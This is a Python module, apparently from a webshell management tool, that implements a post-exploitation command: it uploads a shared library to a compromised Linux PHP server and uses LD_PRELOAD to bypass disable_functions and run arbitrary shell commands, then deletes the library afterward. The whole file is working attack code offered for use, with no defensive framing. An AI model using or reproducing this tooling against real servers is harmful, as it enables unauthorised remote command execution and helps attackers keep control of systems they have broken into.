r'''Execute commands by LD_PRELOAD environment variable on linux for PHP.

The payload is from `https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD`, thanks

'''

from api.exploit import WebshellExploit, Cmdline
from api.webshell import WebshellSession, CommandExecutor, Webshell
from api import Session, logger, tablor, utils
import argparse
import base64
import json
import os

class exploit(WebshellExploit, CommandExecutor):
    
    def __init__(self):
        super().__init__()
        self.parse = argparse.ArgumentParser(prog='exec_by_preload', description="Execute commands by LD_PRELOAD environment variable on linux for PHP.")
        self.parse.add_argument('cmd', help="A command on linux")
        self.help = __doc__+self.parse.format_help()

        self.so_path = None

    def support(self, session: WebshellSession)-> bool:
        '''判断当前命令是否支持指定的session， 一般来说session即为运行改命令时的session
        '''
        if isinstance(session, WebshellSession) and session.server_info.lang in (Webshell.PHP, )\
            and not session.server_info.isWindows():
            self.session = session
            return True
        return False

    def _upload_so(self, is64bit: bool)-> bool:
        '''上传所需的动态库文件
        '''
        self.so_path = self.so_path = self.session.server_info.tmpdir+self.session.server_info.sep+utils.randomstr(8)
        fname = f"bypass_disablefunc_x{'64' if is64bit else '86'}.so"
        logger.info(f"Upload {fname} to {self.so_path}")
        if self.session.exec(['upload', os.path.join(os.path.dirname(__file__), 'payload', fname), self.so_path]) == self.SUCCESS:
            logger.info("Dynamic library has been uploaded sucessful!", True)
            return True
        logger.error("Dynamic library uploaded failed!", True)
        return False

    def exec_command_on_server(self, cmd: str)-> str:
        if self.so_path is None:
            logger.info("Uploading dynamic library...")
            if not self._upload_so(self.session.server_info.os_bits==64):
                return None
        self.session.client.options.set_temp_option('timeout', 0)
        ret = self.evalfile('payload/payload', pwd=self.session.pwd, cmd=cmd, sopath=self.so_path)
        if not ret.is_success():
            return None
        ret = json.loads(ret.data)
        if ret['code'] == -1:
            return None
        elif ret['code'] == -2:
            logger.error("The remote dynamic library path does not exist!")
        elif ret['code'] == 1:
            data = base64.b64decode(ret['msg'].encode()).decode(self.session.client.options.encoding, 'ignore')
            return data
        return None

    def run(self, args: Cmdline)-> int:
        args = self.parse.parse_args(args.options)
        if args.cmd:
            ret = self.exec_command_on_server(args.cmd)
            if ret is not None:
                print(ret)
            else:
                logger.error(f"Command `{args.cmd}` execute failed!")
        else:
            print(self.parse.format_help())

        return self.SUCCESS

    def hook_destroy(self):
        if self.so_path is not None:
            self.eval('unlink($sopath);', sopath=self.so_path)